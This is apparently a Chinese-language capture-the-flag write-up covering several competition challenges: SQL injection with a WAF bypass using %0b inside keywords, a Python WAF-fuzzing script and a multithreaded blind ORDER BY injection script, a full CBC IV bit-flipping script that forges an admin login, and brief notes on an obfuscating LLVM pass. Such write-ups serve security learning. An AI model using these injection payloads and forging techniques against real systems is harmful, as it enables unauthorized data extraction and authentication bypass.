结果高校第9, 水啊
Web simplesqlin id
先丢sqlmap,发现能跑出来数据库名news
order by 4
500, order by 3
正常
绕waf试试看, 发现简单的select,from通过%0b即可绕过
select
-> sele%0bct
直接 id=-1 union sel%0bect 1,flag,3 fro%0bm news.flag
猜测表名和字段为flag
flag{W4f_bY_paSS_f0R_CI}
Temmo’s Tiny Shop 中午起床解这个题, login那里上午有bug,直接admin密码空可以进(其实这里面有竞争条件去买8000的hint),看到info提示的内容(中间还换过一个表名)
OK! Now I will give some hint: you can get flag by use \
select flag from ce63e444b0d049e9c899c9a0336b3c59``
然后写个脚本测试一下waf的字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import reimport stringimport requests as rurl = 'http://202.120.7.197/app.php?action=search&keyword=INT&order=' headers = { 'Cookie' : "PHPSESSID=tbuidum4os7k89q7dun6oms200" , } NOWAF = [] WAF = [] for i in string.punctuation + string.ascii_letters: getter = r.get(url + i, headers=headers).text if 'error occurs or no result here' in getter: NOWAF.append(i) print ('NoWAF: ' + i) elif 'WAF' in getter: WAF.append(i) print ('WAF: ' + i) else : print (getter) exit() print (WAF)print (NOWAF)
发现只有#,()
和字母可以用,关键词没测,用的时候再说
尝试了一些传参数的位置, 因为不能单引号, 也绕不过这个waf, 下手只能在搜索的order
位置上,先通过=1
和=id
确认是order by
注入,通过顺序不同考虑bool注入
注册一个新号防干扰, 买1600和300的, 通过利用field(price, 1600, 300)
和field(price, 1600, 1)
返回的goods顺序不同,构造payload
order=field(price,1600,if(mid((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),%d,1)like(%s),300,1))
因为是like, 不跑2分, 上多线程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requests as rimport geventfrom gevent.monkey import *url = 'http://202.120.7.197/app.php?action=search&keyword=&order=field(price,1600,if(mid((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),%d,1)like(%s),300,1))' def run (k ): a = 0 for i in range (0 , 255 ): if a == 4 : break s = r.get(url % (k,hex (i)), headers=headers).text if '"goods":[{"id":"6","' not in s: print ('%d: %s' % (k, chr (i))) a += 1 else : continue gevent.monkey.patch_socket() gevent.monkey.patch_ssl() threads = [gevent.spawn(run, i) for i in range (6 ,31 )] gevent.joinall(threads)
拿到每一位去掉%_
,得到大小写不明的flag{r4ce c0nditi0n i5 excited}
尝试用ascii判断ascii码, 发现(长度)被WAF, 先试一下flag对不对再说
中间补上_
, 小写尝试一下, flag正确
Misc Welcome IRC 即时聊天,访问 freenode 网站进入聊天室,获得 flaghttp://webchat.freenode.net/?randomnick=0&channels=#0ctf2017
Crypto integrity 题目流程:
首先随机 key
register: 输入 name,首先对 name 补足后缀,随机 iv,返回 AES_CBC( md5(name) || name ) 作为 secret
login: 用户输入 secret,按 register 逆着解码得到 name,若为 admin,则给出 flag
其中限制:输入的 name 长度不大于 32,且对 name 有 strip() 操作。
我们的目标为 admin,对此构造 name,并预先计算补全与 md5 值。
1 2 3 4 5 6 7 8 name = "admin" + "\x0b" * 11 + suffix goal = "admin" pad_name = pad(name) pad_goal = pad(goal) md5_name = md5(name).digest() md5_goal = md5(goal).digest()
提交 name 后获得一个代表了 64 字节的 secret,取出 iv 和 前两组密文,即前 48 字节,有一组 iv,一组 md5 值,一组一半的 name(即 pad_goal)。 其中第三组已符合要求,对于第二组,修改第一组的 iv 进行比特翻转攻击:iv = iv ⊕ md5_name ⊕ md5_goal 三组重新组合后 login 即可获取 flag
完整脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import hashlibimport socketimport timeimport binasciiBS = 16 pad = lambda s: s + (BS - len (s) % BS) * chr (BS - len (s) % BS) def md5 (s ): return hashlib.md5(s.encode()).digest() def send (m ): if isinstance (m, str ): m = m.encode() print ("send:" , m) s.send(m) def rec (): m = s.recv(1024 ) print ("recv:" , m) return m s = socket.socket() s.connect(('202.120.7.217' , 8221 )) time.sleep(0.5 ) md5_goal = [int (x) for x in md5("admin" + "\x0b" * 11 )] md5_name = [int (x) for x in md5("admin" + "\x0b" * 11 + "admin" + "\x0b" * 11 )] rec() send("r\n" ) send("admin" + "\x0b" * 11 + "admin\n" ) rec() data = rec().decode().replace('\n' , '' ) secret = [0 ] * 48 for i in range (0 , 48 ): secret[i] = int (data[(i << 1 ): (i << 1 ) + 2 ], 16 ) new_secret = [secret[i] ^ md5_goal[i] ^ md5_name[i] for i in range (16 )] + secret[16 :] ans = b"" for x in new_secret: ans += bytes ([x]) send("l\n" ) send(binascii.b2a_hex(ans) + b"\n" ) rec() rec() s.close()
Reverse Choices 看了一下text里的命令行,这是是一个pass,llvm的pass,估计是做混淆的,看到flatten这个函数名,估计是拿ollvm改了改,获得源码一对照就知道改了什么地方。
Flatten算法实现http://ac.inf.elte.hu/Vol_030_2009/003.pdf ,他修改的地方就是原本自动修改的控制控制流的值变成由用户输入了,那么我还原出这个值序列即可,通过逆向我们知道了值序列的生成算法,那么我们就可以生成一个值序列了。以这个作为输入即可。